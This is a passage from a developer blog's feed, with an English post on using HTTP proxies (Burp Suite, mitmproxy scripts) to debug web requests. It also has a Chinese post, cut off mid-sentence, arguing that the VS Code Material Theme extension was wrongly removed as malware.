proxy，如 <code>https_proxy=http://localhost:8080 cursor .</code>，就可以把 Cursor IDE 的流量都導到 proxy 去。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;身為每天都要與網頁打交道的前端工程師，熟悉 DevTools 的使用是相當合理的。每當接 API 出問題時，就按下快捷鍵打開 DevTools，切到 Network 分頁，找到紅色的那一行，右鍵複製成 cURL 貼到群組裡面，讓後端自己找找問題。&lt;/p&gt;
&lt;p&gt;但不曉得大家有沒有碰過 DevTools 不夠用的狀況，這時該怎麼辦？&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>Everyone Needs an HTTP Proxy for Debugging</title>
    <link href="https://blog.huli.tw/2025/04/23/en/everyone-need-a-http-proxy-to-debug/"/>
    <id>https://blog.huli.tw/2025/04/23/en/everyone-need-a-http-proxy-to-debug/</id>
    <published>2025-04-23T02:50:00.000Z</published>
    <updated>2025-04-23T11:50:02.008Z</updated>
    
    <content type="html"><![CDATA[<p>As a front-end engineer who deals with web pages every day, it is quite reasonable to be familiar with the use of DevTools. Whenever there is an issue with an API, I just press the shortcut to open DevTools, switch to the Network tab, find the red line, right-click to copy it as cURL, and paste it into the group chat for the backend team to troubleshoot.</p><p>But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?</p><span id="more"></span><h2><span id="are-devtools-really-insufficient-is-it-just-that-you-dont-know-how-to-use-them">Are DevTools Really Insufficient? Is It Just That You Don’t Know How to Use Them?</span></h2><p>Let me share a few cases I have encountered. If DevTools can solve the problem, that would be the most convenient, but sometimes I can’t resolve it (it might also be that I just don’t know how to use it). Additionally, the DevTools mentioned below refer specifically to Chrome DevTools; perhaps other browsers do not have these issues.</p><h3><span id="unable-to-see-request-details-before-redirection">Unable to See Request Details Before Redirection</span></h3><p>Many websites that implement OAuth-related services will redirect to a redirect URL after logging in, carrying a code. At this point, some websites will use the code to exchange for an access_token, and then redirect to the next page with the access_token. If there is an issue with the code exchanging for the access_token, how do we debug it?</p><p>Chrome DevTools, when redirecting to another page, will by default clear the console and network data. There is an option called “Preserve log,” and checking it seems to solve the problem, but it actually does not.</p><p>You can randomly find a webpage, open DevTools, check the “Preserve log” option, and then execute the following code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://httpbin.org/user-agent'</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> window<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token string">'https://example.com'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>After the redirection is complete, although you can see this request in the Network tab, clicking on it will only show “Failed to load response data”:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p1.png" alt="Unable to See Request"></p><p>This issue has been reported since 2012, and after waiting for over a decade, it was mentioned at the end of 2023 that this would be on the roadmap for 2024, but there has been no movement so far: <a href="https://issues.chromium.org/issues/40254754">DevTools: XHR (and other resources) content not available after navigation.</a>.</p><p>In summary, in this scenario, not being able to see the response makes debugging nearly impossible, which is very inconvenient.</p><h3><span id="unable-to-find-the-cause-of-websocket-connection-handshake-failure">Unable to Find the Cause of WebSocket Connection Handshake Failure</span></h3><p>Although we usually only need one line of code to establish a connection when using WebSocket, it actually involves two steps behind the scenes.</p><p>The first step sends an HTTP Upgrade request, and only after that does it switch to the WebSocket connection. While the first step usually succeeds in most cases, what happens if it fails?</p><p>We can ask AI to write a very simple demo:</p><pre class="line-numbers language-none"><code class="language-none">write a nodejs websocket server with nginx in frontwhen url contains ?debug, nginx should return 500 errorafter websocker connected, server should a a hello message to clientuse docker compose to run it<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After the AI generates it, run it with Docker, and similarly open a webpage to establish a connection. You will find that for the connection request with debug information, you only know it failed, but have no idea why:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p2.png" alt="Unable to Find the Cause"></p><p>This error message is even similar to connecting to a random closed port, leaving you completely clueless as to why it failed, making it difficult to communicate the issue to the backend.</p><p>These are two examples that I remember, but in actual development, there are likely many more. Basically, problems that cannot be resolved by just relying on DevTools to view the Network tab are either invisible or the displayed information is incorrect.</p><h2><span id="simple-and-easy-to-use-http-proxy">Simple and Easy-to-Use HTTP Proxy</span></h2><p>Since we cannot rely on DevTools, we have to depend on lower-level tools, such as an HTTP Proxy! Some tools will set up a proxy on your local machine, allowing all traffic to pass through it, so you can see all requests without being limited by DevTools.</p><p>Moreover, another benefit is that you have a place to cross-reference. If the proxy shows something different from what DevTools displays, it is possible that there is an issue with what DevTools is showing.</p><p>Therefore, I sincerely recommend everyone to find an HTTP Proxy to use. The three that I have personally used are:</p><ol><li><a href="https://www.charlesproxy.com/">Charles</a></li><li><a href="https://portswigger.net/burp/communitydownload">Burp Suite</a></li><li><a href="https://mitmproxy.org/">mitmproxy</a></li></ol><p>When I first got into proxies, I used Charles, but after getting into cybersecurity, I switched to the second one, Burp Suite. It’s actually a tool that can be used for various security-related tests, but I think it’s perfectly fine to just use it as a proxy; it’s very convenient.</p><p>The third one, mitmproxy, is open-source and free, and it’s quite well-known. I occasionally use it, but in a different way, which I’ll discuss later.</p><h3><span id="using-burp-suite-as-a-proxy-app">Using Burp Suite as a Proxy App</span></h3><p>First, download the free community version from the official website: <a href="https://portswigger.net/burp/communitydownload">https://portswigger.net/burp/communitydownload</a></p><p>After opening it, click Next and then Start Burp, and you’ll see the main screen. You’ll notice it has many features, but for now, let’s switch to the “Proxy” tab and then to the “HTTP history” page:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p3.png" alt="Burp Screen"></p><p>Then click on the very noticeable orange “Open Browser” button, which will open its built-in Chrome browser. You can use this browser to visit any webpage, for example, example.com.</p><p>Next, switch back to the tool, and you’ll find that the HTTP history records all the raw content of requests and responses:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p4.png" alt="Request Records"></p><p>In this way, the redirection cases and WebSocket handshake failures mentioned earlier can be seen here with the original request content, making errors clear at a glance:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p5.png" alt="Raw Content"></p><p>If in the future you encounter some requests that you can’t see, it means they have been filtered out by the default filter. Click on Filter settings, select show all, and then apply, and you should be able to see them.</p><p>(If you encounter issues with insecure connections, you need to install the certificate first. Please refer to: <a href="https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate">Installing Burp’s CA certificate</a>)</p><p>That’s a basic introduction to using Burp Suite as an HTTP Proxy. If you don’t want to use the Chrome it provides, you can also set up your computer or browser’s proxy; it defaults to port 8080.</p><p>For example, I install another Chrome Canary on my Mac specifically for debugging. You can use this command to open it and set the proxy location:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This way, you can debug using your familiar browser.</p><p>By the way, Burp Suite has many other features, such as replaying requests or brute-forcing, but I think it’s already very helpful for general engineers to use it as a proxy. </p><h3><span id="using-mitmproxy-with-scripts-to-dynamically-change-content">Using mitmproxy with Scripts to Dynamically Change Content</span></h3><p>I won’t go into detail about the installation process for mitmproxy; you can refer to the <a href="https://docs.mitmproxy.org/stable/overview-getting-started/">official documentation</a> or collaborate with AI to install it yourself. After installation, remember to visit <code>http://mitm.it</code> to download and install the certificate so that you can intercept HTTPS traffic.</p><p>Once everything is installed, running <code>mitmproxy</code> will start the proxy, and you’ll see a CLI interface.</p><p>Since Burp Suite is already very useful, when would you use mitmproxy? It has a handy feature that allows you to customize the behavior of the proxy through simple Python scripts, which is very convenient.</p><p>For example, suppose for some reason the testing environment cannot fully simulate the production environment, but you cannot directly deploy the code to the production environment for testing. In this case, you can use the proxy to dynamically replace the production response and simulate some behaviors locally.</p><p>Although Chrome also has the <a href="https://developer.chrome.com/docs/devtools/override">override response</a> feature, it has more limitations, such as fixed content, etc. Using a proxy with scripts is definitely a more flexible and higher freedom choice.</p><p>Below is a simple mitm script aimed at replacing the script.js of my blog with the local version:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> mitmproxy <span class="token keyword">import</span> http<span class="token keyword">import</span> requestsURL_MAPPINGS <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"https://blog.huli.tw/js/script.js"</span><span class="token punctuation">:</span> <span class="token string">"http://localhost:5555/script.js"</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">request</span><span class="token punctuation">(</span>flow<span class="token punctuation">:</span> http<span class="token punctuation">.</span>HTTPFlow<span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token boolean">None</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> url <span class="token keyword">in</span> URL_MAPPINGS<span class="token punctuation">:</span>        <span class="token keyword">if</span> flow<span class="token punctuation">.</span>request<span class="token punctuation">.</span>pretty_url<span class="token punctuation">.</span>startswith<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span>            replacement_url <span class="token operator">=</span> URL_MAPPINGS<span class="token punctuation">[</span>url<span class="token punctuation">]</span>            replacement_response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>replacement_url<span class="token punctuation">)</span>            flow<span class="token punctuation">.</span>response <span class="token operator">=</span> http<span class="token punctuation">.</span>Response<span class="token punctuation">.</span>make<span class="token punctuation">(</span>                <span class="token number">200</span><span class="token punctuation">,</span>                replacement_response<span class="token punctuation">.</span>content<span class="token punctuation">,</span>                 <span class="token punctuation">&#123;</span><span class="token string">"Content-Type"</span><span class="token punctuation">:</span> <span class="token string">"application/javascript"</span><span class="token punctuation">&#125;</span>             <span class="token punctuation">)</span>            <span class="token keyword">return</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can run it with this command:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">mitmproxy <span class="token parameter variable">-s</span> proxy.py<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Next, use the command mentioned earlier to open a browser configured with a proxy:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Then visit <code>https://blog.huli.tw</code> in the browser, and you will see that the content of the script has been replaced.</p><h2><span id="conclusion">Conclusion</span></h2><p>These are some proxies and usage methods that I commonly use.</p><p>Relying too much on the browser is not a good thing; if the browser does not display anything, you won’t know what to do. However, as front-end engineers on the front line, there are definitely ways to obtain the entire request and response to clarify the issue further. In the future, if you encounter problems where requests are not visible in the browser, you can try using a proxy to capture the complete request and response.</p><p>In addition to web pages on the computer, you can also use it on mobile. You can set up a proxy on Android to connect to the same Wi-Fi as the computer, and then install the certificate on the phone to intercept the mobile traffic.</p><p>Finally, here’s a little tip: when executing commands in the Mac CLI, adding <code>https_proxy=http://localhost:8080</code> will configure the proxy, such as <code>https_proxy=http://localhost:8080 cursor .</code>, which will redirect all traffic from the Cursor IDE to the proxy.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;As a front-end engineer who deals with web pages every day, it is quite reasonable to be familiar with the use of DevTools. Whenever there is an issue with an API, I just press the shortcut to open DevTools, switch to the Network tab, find the red line, right-click to copy it as cURL, and paste it into the group chat for the backend team to troubleshoot.&lt;/p&gt;
&lt;p&gt;But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>VS Code Material Theme 不是惡意軟體——安全的線該畫在哪？</title>
    <link href="https://blog.huli.tw/2025/03/16/vscode-material-theme-is-not-a-malware/"/>
    <id>https://blog.huli.tw/2025/03/16/vscode-material-theme-is-not-a-malware/</id>
    <published>2025-03-16T02:40:00.000Z</published>
    <updated>2025-03-16T09:15:12.854Z</updated>
    
    <content type="html"><![CDATA[<p>應該不少人都有跟到三週前 VS Code 上的知名套件 Material Theme 被微軟主動下架的新聞，那下架的理由是什麼呢？根據你得知這件事的消息來源以及自身個性，可能會有兩種回答：</p><ol><li>它「疑似」含有惡意程式碼</li><li>它就是個惡意軟體</li></ol><p>為什麼跟自身個性有關呢？因為就算消息來源接收到的是第一種，在種種條件的互相加持影響之下，你也很有可能解釋成第二種。</p><span id="more"></span><p>以台灣的消息來源來說，最多人看到的應該是保哥的這篇<a href="https://www.facebook.com/story.php?story_fbid=1060924756061613&id=100064322940906&_rdr">臉書貼文</a>，內文寫著：</p><blockquote><p>微軟緊急下架擁有 900 萬次下載的知名 Material Theme Icons 與 Material Theme Free 擴充套件，這些看似無害的佈景主題擴充被發現暗藏高度混淆的惡意代碼，可能導致大規模開發者帳戶資料外洩！</p><p>🔥<br>事件關鍵點：<br>1️⃣ 網路安全研究員 Amit Assaraf 團隊在例行掃描中發現，這些主題擴展中的 release-notes.js 檔案存在大量混淆過的 JavaScript 程式，其中包含對使用者名稱、密碼等敏感資訊的存取。</p><p>2️⃣ 專家推測這可能是透過 2023 年某次更新植入的供應鏈攻擊，或開發者帳號遭黑客劫持所致。</p><p>微軟不僅下架了所有相關擴充套件，還直接封鎖了開發者 Mattia Astorino (equinusocio) 的帳號，並強制卸載全球使用者端已安裝的擴充套件。這是 VS Marketplace 近三年來最大規模的安全清理行動！👍</p><p>附件連結是 GitHub Issues 討論，非常熱鬧，愛吃瓜的鄉民快去朝聖啊！👨‍💻<br>#還好我不愛Material #供應鏈攻擊 #記得VSCode連網升級一下</p></blockquote><p>內文寫了「被發現暗藏高度混淆的惡意代碼」，直接認定是惡意軟體了。再加上文中附上的其他證據，混淆過的程式碼以及對敏感資訊的存取等等，還主動被微軟下架，不覺得是惡意軟體都難。</p><p>而底下留言附的資安人報導<a href="https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=11684">《資安風險！微軟禁下載量達900萬次的VSCode Material Theme擴充套件》</a> 中，寫的就相對保守一點：</p><blockquote><p>微軟近日從Visual Studio Marketplace中移除了兩個廣受歡迎的VSCode擴充套件：「Material Theme – Free」和「Material Theme Icons – Free」，原因是這些擴充套件被發現可能包含惡意程式碼。</p></blockquote><p>用的字眼是「可能包含惡意程式碼」，就是我所說的第一種。但與上面的貼文類似，報導中還說明有資安團隊發現了可疑的程式碼，又混淆又跟帳號密碼有關。因此，儘管報導本身並沒有明確寫出它就是個惡意軟體，只有寫「可能包含惡意程式碼」，在其他證據的加持下，你或許也會認為它就是個惡意軟體。</p><p>除了這些，言之鑿鑿說 Material Theme 就是個惡意軟體的新聞或是推文也都還有很多，例如說 20 萬人追蹤的 <a href="https://x.com/theo/status/1894661673388314710">@theo</a> 就直接說了：</p><blockquote><p>The Material Theme has just been removed from GitHub and VS Code due to shipping malware</p></blockquote><p>那到底 VS Code 上的 Material Theme 擴充套件是不是惡意軟體呢？先講結論：「不是」。</p><p>那這整件事情的過程到底是如何？為什麼一開始說疑似是惡意軟體，後來又不是了？我們按照時間順序，先從開頭來聊聊吧。</p><h2><span id="事情的開端與下架的理由">事情的開端與下架的理由</span></h2><p>（底下時間都是指台灣時間）</p><p>2025&#x2F;02&#x2F;26 凌晨 01:32，有人在 Material Theme 的 GitHub 上發了一個 issue：<a href="https://web.archive.org/web/20250226020241/https://github.com/material-theme/vsc-material-theme/discussions/1313">This extension was reported to be problematic</a>，內文中提到在 VS Code 中會出現底下的提示：</p><blockquote><p>We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.</p></blockquote><p>證明至少在這個時間點，微軟已經主動把 VS Code 中的 Material theme 移除。過了幾個小時，在 04:39 時，知名的討論區 reddit 中也有人發文討論相同的狀況：<a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">Lost Material Theme</a>。</p><p>到了早上 7 點，Hacker News 上也開始有人討論：<a href="https://news.ycombinator.com/item?id=43178831">Material Theme has been pulled from VS Code’s marketplace </a>。</p><p>大約下午 3 點 40 分的時候，VS Code 的團隊成員 Isidor 出來回覆了：</p><blockquote><p>Hi - Isidor here from the VS Code team.<br>A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.</p><p>We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.</p><p>Expect an announcement here with more details soon <a href="https://github.com/microsoft/vsmarketplace/">https://github.com/microsoft/vsmarketplace/</a></p><p>As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article <a href="https://code.visualstudio.com/docs/editor/extension-runtime-security">https://code.visualstudio.com/docs/editor/extension-runtime-security</a></p><p>Thank you!</p></blockquote><p>大意就是社群中有人對這個套件做了深度的資安分析，找到了多個 red flags 指出這個套件具有惡意的意圖並向微軟回報，而微軟內部的資安研究員也確認了這個發現，並找出其他可疑的程式碼。微軟已經把這個開發者的套件都下架以及把他 ban 掉，並說明這次移除套件的行為與 license 無關（這我們等等談），只跟潛在的可疑意圖有關。</p><p>到了晚上 11 點，有人在 Visual Studio Marketplace 的 GitHub 中開了一個 issue 討論這件事：<a href="https://github.com/microsoft/vsmarketplace/issues/1168">Material theme compromised?</a>，想知道更多的細節。</p><p>而 VS Code Marketplace 的 PM seaniyer 也在 2&#x2F;27 早上 9 點 57 的時候給出了<a href="https://github.com/microsoft/vsmarketplace/issues/1168#issuecomment-2686542068">回覆</a>：</p><blockquote><p>Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.<br>我們對移除決策持謹慎態度，並會徹底驗證所有舉報。為了保護開發者，我們也優先迅速移除確定存在問題的項目。我們已在 RemovedPackages 中發布了移除原因，並計劃未來將所有移除記錄統一發布在該處。</p></blockquote><p><a href="https://github.com/microsoft/vsmarketplace/commit/5d23236b873a96d0da5dc90990e6172341c88b71">RemovedPackages.md</a> 這個檔案是在當天早上 7 點才被建立的，或許代表這是微軟第一次主動把套件下架？</p><p>在文件中寫了被下架的套件是 Equinusocio.vsc-material-theme-icons（另一個相同作者的套件，他有兩個，一個是 Material Theme 另一個是 Material Theme Icons），理由是：</p><blockquote><p>A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes<br>一個主題擴充功能，其程式碼經過高度混淆，並包含不合理的依賴項，例如用於執行 child process 的 utility。</p></blockquote><p>而有一間資安公司 Koi Security，在 2025&#x2F;02&#x2F;27 發布了文章 <a href="https://blog.koi.security/a-wolf-in-dark-mode-the-malicious-vs-code-theme-that-fooled-millions-85ed92b4bd26">A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions</a>，提到了他們在 Material Theme 中找到惡意程式碼，看起來是經由一個 dependency 所引入的：</p><blockquote><p>Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath it’s beautiful color scheme</p><p>Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency</p><p>The malicious code seems to be inside a dependency of the theme, which was compromised.</p></blockquote><p>這裡用的詞是「was found to contain malicious code」，也是直接說了包含惡意程式碼。</p><h2><span id="作者的反駁">作者的反駁</span></h2><p>2&#x2F;28 將近下午 5 點，Material Theme 的作者 @equinusocio 在 Visual Studio Marketplace 的 GitHub 中開了個 issue：<a href="https://github.com/microsoft/vsmarketplace/issues/1173">Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves</a>，大意就是說它的套件裡面沒有惡意程式碼，唯一有的問題是一個太舊的第三方套件：</p><blockquote><p>This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.<br>這個決定毀掉了 10 年來的聲譽和信任，而這一切都基於對混淆程式碼毫無根據的懷疑——只是因為你不喜歡它，儘管並沒有任何危害的證據。唯一的問題是混淆程式碼中存在一個過時的 sanity.io 依賴，而這本可以在 30 秒內修復。</p></blockquote><p>文末也提到如果確認他的套件沒有惡意程式碼，請恢復所有的 extensions 以及公開道歉：</p><blockquote><p>If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.</p></blockquote><h2><span id="material-theme-為什麼會被懷疑">Material Theme 為什麼會被懷疑？</span></h2><p>整理一下上面的論述，會發現 Material Theme 確實幹了這麼幾件事情：</p><ol><li>明明是個 theme，但套件裡有 JavaScript</li><li>具有混淆過的程式碼</li><li>程式碼中有與 username 跟 password 有關的部分</li><li>含有拿來執行 child processes 的 utility</li></ol><p>你問我可不可疑，可疑啊，當然可疑。但如果你問我它是不是惡意程式，我會說不是。</p><p>為什麼不是？因為沒有人給出證據啊。儘管把程式碼混淆確實可疑，但也就只是可疑而已。更何況這個「可疑」的力度在我看來並沒有這麼強。舉例來講，沒有找到跟惡意 server 通信的證據或是可疑的後門等等。</p><p>除此之外，關於混淆這點，如果有了解過情況的話，就會發現早在 2024 年 8 月，Reddit 上就有人發了一篇 <a href="https://www.reddit.com/r/vscode/comments/1eq40o2/has_the_material_theme_extension_been_compromised/?rdt=47469">Has the Material Theme extension been compromised?</a>，說最新的版本含有大量混淆過的程式碼，GitHub 上的歷史紀錄也已經被刪除，問說是發生什麼事了。</p><p>有人說可能跟作者在 8&#x2F;10 發起的這兩個討論有關：</p><ol><li><a href="https://web.archive.org/web/20241230012548/https://github.com/material-theme/vsc-material-theme/discussions/1304">⚠️ Looking for Typescript maintainer ⚠️ </a></li><li><a href="https://web.archive.org/web/20241230040357/https://github.com/material-theme/vsc-material-theme/discussions/1305">Premium extensions</a></li></ol><p>因為作者想把這個套件從開源變成閉源，並且發展收費版，因此才用混淆的方式把一些邏輯藏起來。</p><p>而所謂的「程式碼中有與 username 跟 password 有關的部分」，也很可能是因為某個第三方套件使用了 <a href="https://github.com/unshiftio/url-parse">url-parser</a>，因此這些帳號密碼指的是在解析 URL 時網址上的帳號密碼，而不是什麼偷取你電腦中的敏感資訊。</p><p>至於「拿來執行 child processes 的 utility」，<a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2693242277">有人</a>把程式碼反混淆之後來看，就只是個 build script，沒有執行任何惡意指令。</p><p>（話說上面這兩點我沒有親自驗證，擴充套件的原始碼一直都可以下載，有興趣的人可以親自看看：<a href="https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage">https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage</a> ）</p><p>而 Koi Security 的那篇文章也完全沒有任何明確證據，這邊我的立場跟 <a href="https://andrews.substack.com/p/re-vscode-extension-drama">RE: VSCode Extension Drama</a> 這篇文章的副標題一樣：You can’t run your threat response like a High School clique。</p><p>當然，先撇除 Material Theme 不談，這個作者本身原本就有不少不符合開源精神的行為，這也是為什麼前面提到的微軟聲明中，會說：「For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.」，但因為這些都跟擴充套件是否為惡意軟體這件事無關，所以這邊就不多談了。</p><p>而一開始應該是只有 Material Theme 跟 Material Theme Icons 被下架且移除，但之後作者開了新帳號改名又傳了一次，被發現多次後整個帳號被 ban 掉，這個從 reddit 的<a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">討論串</a>中可以看出來。</p><p>總之呢，這個<a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2692845250"> @r8 的評論</a>滿精準地說出我的想法：</p><blockquote><p>Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.</p></blockquote><h2><span id="疑似與確實重要的一線之隔">「疑似」與「確實」，重要的一線之隔</span></h2><p>我想討論的問題是：「VS Code 團隊下架 Material Theme 套件是否合理？」</p><p>但因為這個問題背後其實藏著兩三個子問題，因此我決定先把問題切小，第一件可以來聊的事情是，當發現「疑似含有惡意程式碼」的套件時，把它下架是否合理？</p><p>預防勝於治療，在還沒出事之前先止損，我認為是合理的。</p><p>那第二個延伸問題就是：「既然只是疑似，那有多少把握的時候，下架才是合理的？」</p><p>這其實是個「畫線」的問題。</p><p>舉例來說，如果只是在 theme 的套件中發現沒混淆過的 JavaScript 檔案，下架可能就不太合理。但如果是在 theme 的套件中發現混淆過的 JavaScript 呢？（內容你還不知道是什麼，就只知道有混淆過），對有些人說可能就覺得應該下架了。</p><p>但也有些人會覺得，一定要找到確切的證據才能下架，只是在懷疑階段都不行。</p><p>所以我說這是一個畫線問題，取決於你要把線畫在哪邊，要滿足哪些條件，才會覺得足夠可疑，可疑到要把它下架。這個標準每個人、每個組織都會不一樣。</p><p>想好這兩個問題以後，再來討論：「VS Code 團隊下架 Material Theme 套件是否合理？」，以他們的角度來看，已知的訊息大概是：</p><ol><li>明明是個 theme，但套件裡有 JavaScript，還是混淆過的</li><li>含有拿來執行 child processes 的 utility</li><li>這個套件有數百萬下載</li></ol><p>當他們做決定前，必須知道這個決定的會帶來的影響。</p><p>舉例來說，這是 VS Code 團隊第一次做這件事，因此就算只是「懷疑有問題」，也可能會被解讀為具有足夠的信心，才會大動作遠端主動移除套件。此外，如果最後真的證明是惡意套件那倒是沒事，但如果不是呢？那是否在對外發表聲明時應該格外小心，強調只是疑似，在證據還沒這麼明確的狀況下，盡量不傷害開發者的名聲？</p><p>另一個問題是，既然「沒有證據」這件事會影響決定，那是否這條線應該畫得更嚴格一點，只有掌握切確證據以後才做決定？畢竟如果最後證實套件其實沒問題，外界對微軟的資安能力也會感到質疑（像是，我以為你有足夠的證據才做這些，結果居然說是誤報）。</p><p>總之呢，我也不知道 VS Code 團隊掌握了多少證據，但他們最後做的決定大家都知道了，就是強制移除套件以保護使用者。</p><h2><span id="大結局vs-code-團隊的道歉">大結局：VS Code 團隊的道歉</span></h2><p>事件過了一個多禮拜之後，在 3&#x2F;7 時微軟經由這個 PR：<a href="https://github.com/microsoft/vsmarketplace/pull/1181">Update RemovedPackages.md</a>，把 Material Theme 從清單中移除。</p><p>而 3&#x2F;12 時在作者發的那個 Issue 底下發表了<a href="https://github.com/microsoft/vsmarketplace/issues/1173">公開聲明</a>進行道歉：</p><blockquote><p>False positives suck, and it hurts when it happens.<br>誤判很糟糕，當它發生時確實令人痛心。</p><p>The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.<br>Material Theme 和 Material Theme Icons（Equinusocio）的發佈者帳戶被錯誤標記，現在已經恢復。出於安全考量，我們行動迅速，但也因此犯了錯。我們移除了這些佈景主題，因為它們在微軟內部觸發了多個惡意軟體偵測指標，而我們的調查最終得出了錯誤的結論。我們非常重視 VS Code 生態系統的安全性，因此迅速採取行動來保護使用者。</p><p>I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.<br>These extensions are safe and have been restored for the VS Code community to enjoy.<br>我們理解「Equinusocio」擴充套件作者的沮喪與強烈反應，我們聽到了。這件事很糟糕，但有時候這類情況難以避免。我們盡力而為，但我們也是人，希望能夠從這次事件中吸取教訓並向前邁進。我們將明確關於混淆程式碼的政策，並更新我們的掃描工具與調查流程，以降低類似事件再次發生的可能性。這些擴充套件是安全的，現在已經恢復，VS Code 社群可以繼續使用並享受它們。</p><p>LINKS:<br>Material Theme<br>[Material Theme Icons]<br>(<a href="https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons">https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons</a>)</p><p>Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.<br>我們再次對這位作者受到牽連而深表歉意，也期待他未來的佈景主題與擴充套件。我們已與他聯繫，並感謝他的耐心等待。</p><p>Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman</p></blockquote><p>所以，儘管它有著一些確實可疑的行為，但是 Material Theme 自始至終都不是個惡意軟體。</p><p>不過從聲明中能看出來從他們的角度，在做決定時應該有滿高的信心，畢竟內部的惡意軟體偵測都這麼說了（雖然最後是 false 